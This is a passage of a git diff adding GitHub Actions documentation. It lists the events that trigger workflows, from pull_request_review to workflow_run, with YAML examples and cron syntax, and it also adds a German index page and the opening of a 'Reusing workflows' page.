+    types: [submitted]
+
+jobs:
+  approved:
+    if: github.event.review.state == 'approved'
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "This PR was approved"
+```
+
+{% data reusables.developer-site.pull_request_forked_repos_link %}
+
+### `pull_request_review_comment`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`pull_request_review_comment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+Runs your workflow when a pull request review comment is modified. A pull request review comment is a comment on a pull request's diff. For activity related to pull request reviews or pull request comments, use the [`pull_request_review`](#pull_request_review) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review comment APIs, see "[PullRequestReviewComment](/graphql/reference/objects#pullrequestreviewcomment)" in the GraphQL API documentation or "[Review comments](/rest/reference/pulls#comments)" in the REST API documentation.
+
+For example, you can run a workflow when a pull request review comment has been `created` or `deleted`.
+
+```yaml
+on:
+  pull_request_review_comment:
+    types: [created, deleted]
+```
+
+{% data reusables.developer-site.pull_request_forked_repos_link %}
+
+### `pull_request_target`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed` <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled` | Last commit on the PR base branch | PR base branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_target)." By default, a workflow only runs when a `pull_request_target` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+
+{% endnote %}
+
+Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated.
+
+This event runs in the context of the base of the pull request, rather than in the context of the merge commit, as the `pull_request` event does. This prevents execution of unsafe code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows your workflow to do things like label or comment on pull requests from forks. Avoid using this event if you need to build or run code from the pull request.
+
+To ensure repository security, branches with names that match certain patterns (such as those which look similar to SHAs) may not trigger workflows with the `pull_request_target` event.
+
+{% warning %}
+
+**Warning:** For workflows that are triggered by the `pull_request_target` event, the `GITHUB_TOKEN` is granted read/write repository permission unless the `permissions` key is specified and the workflow can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch. To help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the GitHub Security Lab website.
+
+{% endwarning %}
+
+For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+
+```yaml
+on:
+  pull_request_target:
+    types: [assigned, opened, synchronize, reopened]
+```
+
+#### Running your workflow based on the head or base branch of a pull request
+
+You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)."
+
+For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request_target:
+    types:
+      - opened
+    branches:
+      - 'releases/**'
+```
+
+{% note %}
+
+**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request_target:
+    types:
+      - opened
+    branches:
+      - 'releases/**'
+    paths:
+      - '**.js'
+```
+
+{% endnote %}
+
+To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request:
+    types:
+      - opened
+jobs:
+  run_if:
+    if:  startsWith(github.head_ref, 'releases/')
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "The head of this PR starts with 'releases/'"
+```
+
+#### Running your workflow based on files changed in a pull request
+
+You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a pull request changes specific files. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
+
+For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`):
+
+```yaml
+on:
+  pull_request_target:
+    paths:
+      - '**.js'
+```
+
+{% note %}
+
+**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  pull_request_target:
+    types:
+      - opened
+    branches:
+      - 'releases/**'
+    paths:
+      - '**.js'
+```
+
+{% endnote %}
+
+#### Running your workflow when a pull request merges
+
+When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request_target` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged.
+
+```yaml
+on:
+  pull_request_target:
+    types:
+      - closed
+
+jobs:
+  if_merged:
+    if: github.event.pull_request.merged == true
+    runs-on: ubuntu-latest
+    steps:
+    - run: |
+        echo The PR was merged
+```
+
+### `push`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`push`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#push) | n/a | When you delete a branch, the SHA in the workflow run (and its associated refs) reverts to the default branch of the repository. | Updated ref |
+
+{% note %}
+
+**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the API. For information, see "[Commit](/graphql/reference/objects#commit)" in the GraphQL API documentation or "[Get a commit](/rest/reference/commits#get-a-commit)" in the REST API documentation.
+
+{% endnote %}
+
+{% note %}
+
+**Note**: An event will not be created when you push more than three tags at once.
+
+{% endnote %}
+
+Runs your workflow when you push a commit or tag.
+
+For example, you can run a workflow when the `push` event occurs.
+
+```yaml
+on:
+  push
+```
+
+{% note %}
+
+**Note**: When a `push` webhook event triggers a workflow run, the Actions UI's "pushed by" field shows the account of the pusher and not the author or committer. However, if the changes are pushed to a repository using SSH authentication with a deploy key, then the "pushed by" field will be the repository admin who verified the deploy key when it was added it to a repository.
+
+{% endnote %}
+
+#### Running your workflow only when a push to specific branches occurs
+
+You can use the `branches` or `branches-ignore` filter to configure your workflow to only run when specific branches are pushed. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)."
+
+For example, this workflow will run when someone pushes to `main` or to a branch that starts with `releases/`.
+
+```yaml
+on:
+  push:
+    branches:
+      - 'main'
+      - 'releases/**'
+```
+
+{% note %}
+
+**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  push:
+    branches:
+      - 'releases/**'
+    paths:
+      - '**.js'
+```
+
+{% endnote %}
+
+#### Running your workflow only when a push of specific tags occurs
+
+You can use the `tags` or `tags-ignore` filter to configure your workflow to only run when specific tags are pushed. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)."
+
+For example, this workflow will run when someone pushes a tag that starts with `v1.`.
+
+```yaml
+on:
+  push:
+    tags:
+      - v1.**
+```
+
+#### Running your workflow only when a push affects specific files
+
+You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a push to specific files occurs. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
+
+For example, this workflow will run when someone pushes a change to a JavaScript file (`.js`):
+
+```yaml
+on:
+  push:
+    paths:
+      - '**.js'
+```
+
+{% note %}
+
+**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`:
+
+```yaml
+on:
+  push:
+    branches:
+      - 'releases/**'
+    paths:
+      - '**.js'
+```
+
+{% endnote %}
+
+### `registry_package`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`registry_package`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#package) | - `published`<br/>- `updated` | Commit of the published package | Branch or tag of the published package |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#registry_package)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when activity related to {% data variables.product.prodname_registry %} occurs in your repository. For more information, see "[{% data variables.product.prodname_registry %} Documentation](/packages)."
+
+For example, you can run a workflow when a new package version has been `published`.
+
+```yaml
+on:
+  registry_package:
+    types: [published]
+```
+
+### `release`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`release`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | Last commit in the tagged release | Tag ref of release `refs/tags/<tag_name>` |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#release)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% note %}
+
+**Note:** Workflows are not triggered for the `created`, `edited`, or `deleted` activity types for draft releases. When you create your release through the {% data variables.product.product_name %} browser UI, your release may automatically be saved as a draft.
+
+{% endnote %}
+
+{% note %}
+
+**Note:** The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable *and* pre-releases publish, subscribe to `published` instead of `released` and `prereleased`.
+
+{% endnote %}
+
+Runs your workflow when release activity in your repository occurs. For information about the release APIs, see "[Release](/graphql/reference/objects#release)" in the GraphQL API documentation or "[Releases](/rest/reference/releases)" in the REST API documentation.
+
+For example, you can run a workflow when a release has been `published`.
+
+```yaml
+on:
+  release:
+    types: [published]
+```
+
+### `repository_dispatch`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------ | ------------ | ------------ | ------------------|
+| [repository_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) | Custom | Last commit on default branch | Default branch |
+
+{% data reusables.actions.branch-requirement %}
+
+You can use the {% data variables.product.product_name %} API to trigger a webhook event called [`repository_dispatch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.product_name %}. For more information, see "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)."
+
+When you make a request to create a `repository_dispatch` event, you must specify an `event_type` to describe the activity type. By default, all `repository_dispatch`  activity types trigger a workflow to run. You can use the `types` keyword to limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload.
+
+```yaml
+on:
+  repository_dispatch:
+    types: [on-demand-test]
+```
+
+{% note %}
+
+**Note:** The `event_type` value is limited to 100 characters.
+
+{% endnote %}
+
+Any data that you send through the `client_payload` parameter will be available in the `github.event` context in your workflow. For example, if you send this request body when you create a repository dispatch event:
+
+```json
+{
+  "event_type": "test_result",
+  "client_payload": {
+    "passed": false,
+    "message": "Error: timeout"
+  }
+}
+```
+
+then you can access the payload in a workflow like this:
+
+```yaml
+on:
+  repository_dispatch:
+    types: [test_result]
+
+jobs:
+  run_if_failure:
+    if: {% raw %}${{ !github.event.client_payload.passed }}{% endraw %}
+    runs-on: ubuntu-latest
+    steps:
+      - env:
+          MESSAGE: {% raw %}${{ github.event.client_payload.message }}{% endraw %}
+        run: echo $MESSAGE
+```
+
+### `schedule`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| n/a | n/a | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see "[Triggering a workflow with events](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)." |
+
+{% data reusables.actions.schedule-delay %}
+
+The `schedule` event allows you to trigger a workflow at a scheduled time.
+
+{% data reusables.repositories.actions-scheduled-workflow-example %}
+
+Cron syntax has five fields separated by a space, and each field represents a unit of time.
+
+```
+┌───────────── minute (0 - 59)
+│ ┌───────────── hour (0 - 23)
+│ │ ┌───────────── day of the month (1 - 31)
+│ │ │ ┌───────────── month (1 - 12 or JAN-DEC)
+│ │ │ │ ┌───────────── day of the week (0 - 6 or SUN-SAT)
+│ │ │ │ │
+│ │ │ │ │
+│ │ │ │ │
+* * * * *
+```
+
+You can use these operators in any of the five fields:
+
+| Operator | Description | Example |
+| -------- | ----------- | ------- |
+| * | Any value | `15 * * * *` runs at every minute 15 of every hour of every day. |
+| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. |
+| - | Range of values | `30 4-6 * * *` runs at minute 30 of the 4th, 5th, and 6th hour. |
+| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). |
+
+{% note %}
+
+**Note:** {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`.
+
+{% endnote %}
+
+You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html).
+
+Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, see "[Notifications for workflow runs](/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs)."
+
+### `status`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#status) | n/a | Last commit on default branch | n/a |
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when the status of a Git commit changes. For example, commits can be marked as `error`, `failure`, `pending`, or `success`. If you want to provide more details about the status change, you may want to use the [`check_run`](#check_run) event. For information about the commit status APIs, see "[Status](/graphql/reference/objects#status)" in the GraphQL API documentation or "[Statuses](/rest/reference/commits#commit-statuses)" in the REST API documentation.
+
+For example, you can run a workflow when the `status` event occurs.
+
+```yaml
+on:
+  status
+```
+
+If you want to run a job in your workflow based on the new commit state, you can use the `github.event.state` context. For example, the following workflow triggers when a commit status changes, but the `if_error_or_failure` job only runs if the new commit state is `error` or `failure`.
+
+```yaml
+on:
+  status
+jobs:
+  if_error_or_failure:
+    runs-on: ubuntu-latest
+    if: >-
+      github.event.state == 'error' ||
+      github.event.state == 'failure'
+    steps:
+      - env:
+          DESCRIPTION: {% raw %}${{ github.event.description }}{% endraw %}
+        run: |
+          echo The status is error or failed: $DESCRIPTION
+```
+
+### `watch`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`watch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#watch) | - `started` | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#watch)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+Runs your workflow when the workflow's repository is starred. For information about the pull request APIs, see "[addStar](/graphql/reference/mutations#addstar)" in the GraphQL API documentation or "[Starring](/rest/reference/activity#starring)" in the REST API documentation.
+
+For example, you can run a workflow when someone stars a repository, which is the `started` activity type for a watch event.
+
+```yaml
+on:
+  watch:
+    types: [started]
+```
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+
+### `workflow_call`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------ | ------------ | ------------ | ------------------|
+| Same as the caller workflow | n/a | Same as the caller workflow | Same as the caller workflow |
+
+`workflow_call` is used to indicate that a workflow can be called by another workflow. When a workflow is triggered with the `workflow_call` event, the event payload in the called workflow is the same event payload from the calling workflow. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+
+The example below only runs the workflow when it's called from another workflow:
+
+```yaml
+on: workflow_call
+```
+
+{% endif %}
+
+### `workflow_dispatch`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| ------------------ | ------------ | ------------ | ------------------|
+| [workflow_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_dispatch) | n/a | Last commit on the `GITHUB_REF` branch or tag | Branch or tag that received dispatch |
+
+To manually trigger a workflow, use the `workflow_dispatch` event. You can manually trigger a workflow run using the {% data variables.product.product_name %} API, {% data variables.product.prodname_cli %}, or {% data variables.product.product_name %} browser interface. For more information, see "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)."
+
+```yaml
+on: workflow_dispatch
+```
+
+#### Providing inputs
+
+You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When you trigger the event, you can provide the `ref` and any `inputs`. When the workflow runs, you can access the input values in the {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} context. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+
+{% data reusables.actions.inputs-vs-github-event-inputs %}
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+This example defines inputs called `logLevel`, `tags`, and `environment`. You pass values for these inputs to the workflow when you run it. This workflow then prints the values to the log, using the {% ifversion actions-unified-inputs %}`inputs.logLevel`, `inputs.tags`, and  `inputs.environment`{% else %}`github.event.inputs.logLevel`, `github.event.inputs.tags`, and  `github.event.inputs.environment`{% endif %} context properties.
+
+```yaml
+on:
+  workflow_dispatch:
+    inputs:
+      logLevel:
+        description: 'Log level'
+        required: true
+        default: 'warning'
+        type: choice
+        options:
+        - info
+        - warning
+        - debug
+      tags:
+        description: 'Test scenario tags'
+        required: false
+        type: boolean
+      environment:
+        description: 'Environment to run tests against'
+        type: environment
+        required: true
+
+jobs:
+  log-the-inputs:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          echo "Log level: $LEVEL"
+          echo "Tags: $TAGS"
+          echo "Environment: $ENVIRONMENT"
+        env:
+          LEVEL: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.logLevel }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.logLevel }}{% endraw %}{% endif %}
+          TAGS: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.tags }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.tags }}{% endraw %}{% endif %}
+          ENVIRONMENT: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.environment }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.environment }}{% endraw %}{% endif %}
+```
+
+If you run this workflow from a browser you must enter values for the required inputs manually before the workflow will run.
+
+![Entering inputs for a workflow](/assets/images/help/images/workflow-dispatch-inputs.png)
+
+You can also pass inputs when you run a workflow from a script, or by using {% data variables.product.prodname_cli %}. For example:
+
+```
+gh workflow run run-tests.yml -f logLevel=warning -f tags=false -f environment=staging
+```
+
+For more information, see the {% data variables.product.prodname_cli %} information in "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)."
+
+{% else %}
+This example defines the `name` and `home` inputs and prints them using the {% ifversion actions-unified-inputs %}`inputs.name` and `inputs.home`{% else %}`github.event.inputs.name` and `github.event.inputs.home`{% endif %} contexts. If a `home` isn't provided, the default value 'The Octoverse' is printed.
+
+```yaml
+name: Manually triggered workflow
+on:
+  workflow_dispatch:
+    inputs:
+      name:
+        description: 'Person to greet'
+        required: true
+        default: 'Mona the Octocat'
+      home:
+        description: 'location'
+        required: false
+        default: 'The Octoverse'
+
+jobs:
+  say_hello:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          echo Hello $NAME!
+          echo -in $HOME
+        env:
+          NAME: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.name }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.name }}{% endraw %}{% endif %}
+          HOME: {% ifversion actions-unified-inputs %}{% raw %}${{ github.event.inputs.home }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.home }}{% endraw %}{% endif %}
+```
+{% endif %}
+
+### `workflow_run`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
+| [`workflow_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_run) | - `completed`<br/>- `requested`{% ifversion actions-workflow-run-in-progress %}<br/>- `in_progress`{% endif %} | Last commit on default branch | Default branch |
+
+{% note %}
+
+**Note**: {% data reusables.developer-site.multiple_activity_types %} The `requested` activity type does not occur when a workflow is re-run. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run)." {% data reusables.developer-site.limit_workflow_to_activity_types %}
+
+{% endnote %}
+
+{% data reusables.actions.branch-requirement %}
+
+{% note %}
+
+**Note:** You can't use `workflow_run` to chain together more than three levels of workflows. For example, if you attempt to trigger five workflows (named `B` to `F`) to run sequentially after an initial workflow `A` has run (that is: `A` → `B` → `C` → `D` → `E` → `F`), workflows `E` and `F` will not be run.
+
+{% endnote %}
+
+This event occurs when a workflow run is requested or completed. It allows you to execute a workflow based on execution or completion of another workflow. The workflow started by the `workflow_run` event is able to access secrets and write tokens, even if the previous workflow was not. This is useful in cases where the previous workflow is intentionally not privileged, but you need to take a privileged action in a later workflow.
+
+In this example, a workflow is configured to run after the separate "Run Tests" workflow completes.
+
+```yaml
+on:
+  workflow_run:
+    workflows: [Run Tests]
+    types:
+      - completed
+```
+
+If you specify multiple `workflows` for the `workflow_run` event, only one of the workflows needs to run. For example, a workflow with the following trigger will run whenever the "Staging" workflow or the "Lab" workflow completes.
+
+```yaml
+on:
+  workflow_run:
+    workflows: [Staging, Lab]
+    types:
+      - completed
+```
+
+#### Running a workflow based on the conclusion of another workflow
+
+A workflow run is triggered regardless of the conclusion of the previous workflow. If you want to run a job or step based on the result of the triggering workflow, you can use a conditional with the `github.event.workflow_run.conclusion` property. For example, this workflow will run whenever a workflow named "Build" completes, but the `on-success` job will only run if the "Build" workflow succeeded, and the `on-failure` job will only run if the "Build" workflow failed:
+
+```yaml
+on:
+  workflow_run:
+    workflows: [Build]
+    types: [completed]
+
+jobs:
+  on-success:
+    runs-on: ubuntu-latest
+    if: {% raw %}${{ github.event.workflow_run.conclusion == 'success' }}{% endraw %}
+    steps:
+      - run: echo 'The triggering workflow passed'
+  on-failure:
+    runs-on: ubuntu-latest
+    if: {% raw %}${{ github.event.workflow_run.conclusion == 'failure' }}{% endraw %}
+    steps:
+      - run: echo 'The triggering workflow failed'
+```
+
+#### Limiting your workflow to run based on branches
+
+You can use the `branches` or `branches-ignore` filter to specify what branches the triggering workflow must run on in order to trigger your workflow. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_runbranchesbranches-ignore)." For example, a workflow with the following trigger will only run when the workflow named `Build` runs on a branch named `canary`.
+
+```yaml
+on:
+  workflow_run:
+    workflows: [Build]
+    types: [requested]
+    branches: [canary]
+```
+
+#### Using data from the triggering workflow
+
+You can access the [`workflow_run` event payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run) that corresponds to the workflow that triggered your workflow. For example, if your triggering workflow generates artifacts, a workflow triggered with the `workflow_run` event can access these artifacts.
+
+The following workflow uploads data as an artifact. (In this simplified example, the data is the pull request number.)
+
+```yaml
+name: Upload data
+
+on:
+  pull_request:
+
+jobs:
+  upload:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Save PR number
+        env:
+          PR_NUMBER: {% raw %}${{ github.event.number }}{% endraw %}
+        run: |
+          mkdir -p ./pr
+          echo $PR_NUMBER > ./pr/pr_number
+      - uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: pr_number
+          path: pr/
+```
+
+When a run of the above workflow completes, it triggers a run of the following workflow. The following workflow uses the `github.event.workflow_run` context and the {% data variables.product.product_name %} REST API to download the artifact that was uploaded by the above workflow, unzips the downloaded artifact, and comments on the pull request whose number was uploaded as an artifact.
+
+```yaml
+name: Use the data
+
+on:
+  workflow_run:
+    workflows: [Upload data]
+    types:
+      - completed
+
+jobs:
+  download:
+    runs-on: ubuntu-latest
+    steps:
+      - name: 'Download artifact'
+        uses: {% data reusables.actions.action-github-script %}
+        with:
+          script: |
+            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
+               owner: context.repo.owner,
+               repo: context.repo.repo,
+               run_id: context.payload.workflow_run.id,
+            });
+            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
+              return artifact.name == "pr_number"
+            })[0];
+            let download = await github.rest.actions.downloadArtifact({
+               owner: context.repo.owner,
+               repo: context.repo.repo,
+               artifact_id: matchArtifact.id,
+               archive_format: 'zip',
+            });
+            let fs = require('fs');
+            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/pr_number.zip`, Buffer.from(download.data));
+
+      - name: 'Unzip artifact'
+        run: unzip pr_number.zip
+
+      - name: 'Comment on PR'
+        uses: {% data reusables.actions.action-github-script %}
+        with:
+          github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          script: |
+            let fs = require('fs');
+            let issue_number = Number(fs.readFileSync('./pr_number'));
+            await github.rest.issues.createComment({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: issue_number,
+              body: 'Thank you for the PR!'
+            });
+```
diff --git a/translations/de-DE/content/actions/using-workflows/index.md b/translations/de-DE/content/actions/using-workflows/index.md
new file mode 100644
index 0000000000..f7c5bf4e35
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/index.md
@@ -0,0 +1,43 @@
+---
+title: Verwenden von Workflows
+shortTitle: Using workflows
+intro: 'Erstellen und Verwalten von {% data variables.product.prodname_actions %}-Workflows.'
+redirect_from:
+  - /actions/configuring-and-managing-workflows/configuring-a-workflow
+  - /articles/creating-a-workflow-with-github-actions
+  - /articles/configuring-a-workflow
+  - /github/automating-your-workflow-with-github-actions/configuring-a-workflow
+  - /actions/automating-your-workflow-with-github-actions/configuring-a-workflow
+  - /actions/creating-workflows/workflow-configuration-options
+  - /articles/configuring-workflows
+  - /github/automating-your-workflow-with-github-actions/configuring-workflows
+  - /actions/automating-your-workflow-with-github-actions/configuring-workflows
+  - /actions/configuring-and-managing-workflows
+  - /actions/workflows
+  - /actions/advanced-guides
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-workflows
+  - /triggering-a-workflow
+  - /events-that-trigger-workflows
+  - /workflow-syntax-for-github-actions
+  - /workflow-commands-for-github-actions
+  - /reusing-workflows
+  - /caching-dependencies-to-speed-up-workflows
+  - /storing-workflow-data-as-artifacts
+  - /creating-starter-workflows-for-your-organization
+  - /using-starter-workflows
+  - /sharing-workflows-secrets-and-runners-with-your-organization
+  - /using-github-cli-in-workflows
+ms.openlocfilehash: 0e9acb10f5c68cdd9fdc1a018a5859ed9a578429
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107071'
+---
+
diff --git a/translations/de-DE/content/actions/using-workflows/reusing-workflows.md b/translations/de-DE/content/actions/using-workflows/reusing-workflows.md
new file mode 100644
index 0000000000..2adee6a3f4
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/reusing-workflows.md
@@ -0,0 +1,437 @@
+---
+title: Reusing workflows
+shortTitle: Reuse workflows
